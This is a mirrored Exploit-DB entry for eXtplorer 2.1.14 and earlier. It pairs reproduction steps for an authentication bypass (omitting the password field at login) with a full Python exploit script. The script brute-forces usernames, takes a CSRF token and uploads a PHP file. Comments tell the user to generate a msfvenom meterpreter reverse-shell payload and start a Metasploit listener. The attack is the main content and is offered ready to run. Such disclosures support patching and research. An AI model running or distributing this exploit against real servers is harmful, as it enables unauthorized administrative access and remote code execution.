eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)

  • 作者: ErPaciocco
    日期: 2023-03-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51067/
  • # Exploit Title: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)
    # Exploit Author: ErPaciocco
    # Author Website: https://erpaciocco.github.io
    # Vendor Homepage: https://extplorer.net/
    #
    # Vendor:
    # ==============
    # extplorer.net
    #
    # Product:
    # ==================
    # eXtplorer <= v2.1.14
    #
    # eXtplorer is a PHP and Javascript-based File Manager, it allows to browse
    # directories, edit, copy, move, delete,
    # search, upload and download files, create & extract archives, create new
    # files and directories, change file
    # permissions (chmod) and more. It is often used as FTP extension for popular
    # applications like Joomla.
    #
    # Vulnerability Type:
    # ======================
    # Authentication Bypass (& Remote Command Execution)
    #
    #
    # Vulnerability Details:
    # =====================
    #
    # eXtplorer authentication mechanism allows an attacker
    # to login into the Admin Panel without knowing the password
    # of the victim, but only its username. This vector is exploited
    # by not supplying password in POST request.
    #
    #
    # Tested on Windows
    # 
    #
    # Reproduction steps:
    # ==================
    #
    # 1) Navigate to Login Panel
    # 2) Intercept authentication POST request to /index.php
    # 3) Remove 'password' field
    # 4) Send it and enjoy!
    #
    #
    # Exploit code(s):
    # ===============
    #
    # Run below PY script from CLI...
    #
    # [eXtplorer_auth_bypass.py]
    #
    
    # Proof Of Concept
    
    try:
    import requests
    except:
    print(f"ERROR: RUN: pip install requests")
    exit()
    import sys
    import time
    import urllib.parse
    import re
    import random
    import string
    import socket
    import time
    import base64
    
    TARGET = None
    WORDLIST = None
    
    _BUILTIN_WL = [
    'root',
    'admin',
    'test',
    'guest',
    'info',
    'adm',
    'user',
    'administrator'
    ]
    
    _HOST = None
    _PATH = None
    _SESSION = None
    _HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0',
     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
     'Accept-Language': 'it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3',
     'Accept-Encoding': 'gzip, deflate, br',
     'Connection': 'keep-alive' }
    
    def detect():
    global _HOST
    global _PATH
    global _SESSION
    global _HEADERS
    
    _HOST = TARGET[0].split(':')[0] + '://' + TARGET[0].split('/')[2]
    _PATH = '/'.join(TARGET[0].split('/')[3:]).rstrip('/')
    
    
    
    _SESSION = requests.Session()
    
    raw = _SESSION.get(f"{_HOST}/{_PATH}/extplorer.xml", headers=_HEADERS, verify=False)
    
    if raw.status_code == 200:
    ver = re.findall("<version>(((\d+)\.?)+)<\/version>", raw.text, re.MULTILINE)
    
    if int(ver[0][2]) < 15:
    return True
    
    return False
    
    
    def auth_bypass():
    global _HOST
    global _PATH
    global _SESSION
    global _HEADERS
    
    global WORDLIST
    global _BUILTIN_WL
    
    _HEADERS['X-Requested-With'] = 'XMLHttpRequest'
    
    params = {'option': 'com_extplorer',
    'action': 'login',
    'type': 'extplorer',
    'username': 'admin',
    'lang':'english'}
    
    if WORDLIST != None:
    if WORDLIST == _BUILTIN_WL:
    info(f"Attempting to guess an username from builtin wordlist")
    wl = _BUILTIN_WL
    else:
    info(f"Attempting to guess an username from wordlist: {WORDLIST[0]}")
    with open(WORDLIST[0], "r") as f:
    wl = f.read().split('\n')
    for user in wl:
    params = {'option': 'com_extplorer',
    'action': 'login',
    'type': 'extplorer',
    'username': user,
    'lang':'english'}
    
    info(f"Trying with {user}")
    
    res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)
    if "successful" in res.text:
    return (user)
    else:
    res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)
    
    if "successful" in res.text:
    return ('admin')
    
    return False
    
    def rce():
    global _HOST
    global _PATH
    global _SESSION
    global _HEADERS
    global _PAYLOAD
    
    tokenReq = _SESSION.get(f"{_HOST}/{_PATH}/index.php?option=com_extplorer&action=include_javascript&file=functions.js")
    token = re.findall("token:\s\"([a-f0-9]{32})\"", tokenReq.text)[0]
    
    info(f"CSRF Token obtained: {token}")
    
    payload = editPayload()
    
    info(f"Payload edited to fit local parameters")
    
    
    params = {'option': 'com_extplorer',
    'action': 'upload',
    'dir': f"./{_PATH}",
    'requestType': 'xmlhttprequest',
    'confirm':'true',
    'token': token}
    name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
    files = {'userfile[0]':(f"{name}.php", payload)}
    
    req = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, files=files, verify=False)
    
    if "successful" in req.text:
    info(f"File {name}.php uploaded in root dir")
    info(f"Now set a (metasploit) listener and go to: {_HOST}/{_PATH}/{name}.php")
    
    def attack():
    if not TARGET:
    error("TARGET needed")
    
    if TARGET:
    if not detect():
    error("eXtplorer vulnerable instance not found!")
    exit(1)
    else:
    info("eXtplorer endpoint is vulnerable!")
    username = auth_bypass()
    if username:
    info("Auth bypassed!")
    rce()
    else:
    error("Username 'admin' not found")
    
    def error(message):
    print(f"[E] {message}")
    
    def info(message):
    print(f"[I] {message}")
    
    def editPayload():
    # You can generate payload with msfvenom and paste below base64 encoded result
    # msfvenom -p php/meterpreter_reverse_tcp LHOST=<yourIP> LPORT=<yourPORT> -f base64
    return base64.b64decode("PD9waHAgZWNobyAiSEFDS0VEISI7ICA/Pg==")
    
    def help():
    print(r"""eXtplorer <= 2.1.14 exploit - Authentication Bypass & Remote Code Execution
    
    Usage:
    python3 eXtplorer_auth_bypass.py -t <target-host> [-w <userlist>] [-wb]
    
    Options:
    -tTarget host. Provide target IP address (and optionally port).
    -wWordlist for user enumeration and authentication (Optional)
    -wb Use built-in wordlist for user enumeration (Optional)
    -hShow this help menu.
    """)
    return True
    
    args = {"t" : (1, lambda *x: (globals().update(TARGET = x[0]))),
    "w" : (1, lambda *x: (globals().update(WORDLIST = x[0]))),
    "wb": (0, lambda *x: (globals().update(WORDLIST = _BUILTIN_WL))),
    "h" : (0, lambda *x: (help() and exit(0)))}
    
    if __name__ == "__main__":
    i = 1
    [
    args[ arg[1:]][1](sys.argv[i+1: (i:=i+1+args[arg[1:]][0]) ])
    for arg in [k
     for k in sys.argv[i:]
    ]
    if arg[0] == '-'
    ]
    attack()
    else:
    help()
    
    
    # ///////////////////////////////////////////////////////////////////////
    
    # [Script examples]
    #
    #
    # c:\>python eXtplorer_auth_bypass.py -t https://target.com
    # c:\>python eXtplorer_auth_bypass.py -t http://target.com:1234 -w wordlist.txt
    # c:\>python eXtplorer_auth_bypass.py -t http://target.com -wb
    
    # Exploitation Method:
    # ======================
    # Remote
    
    # [+] Disclaimer
    # The information contained within this advisory is supplied "as-is" with no
    # warranties or guarantees of fitness of use or otherwise.
    # Permission is hereby granted for the redistribution of this advisory,
    # provided that it is not altered except by reformatting it, and
    # that due credit is given. Permission is explicitly given for insertion in
    # vulnerability databases and similar, provided that due credit
    # is given to the author. The author is not responsible for any misuse of the
    # information contained herein and accepts no responsibility
    # for any damage caused by the use or misuse of this information.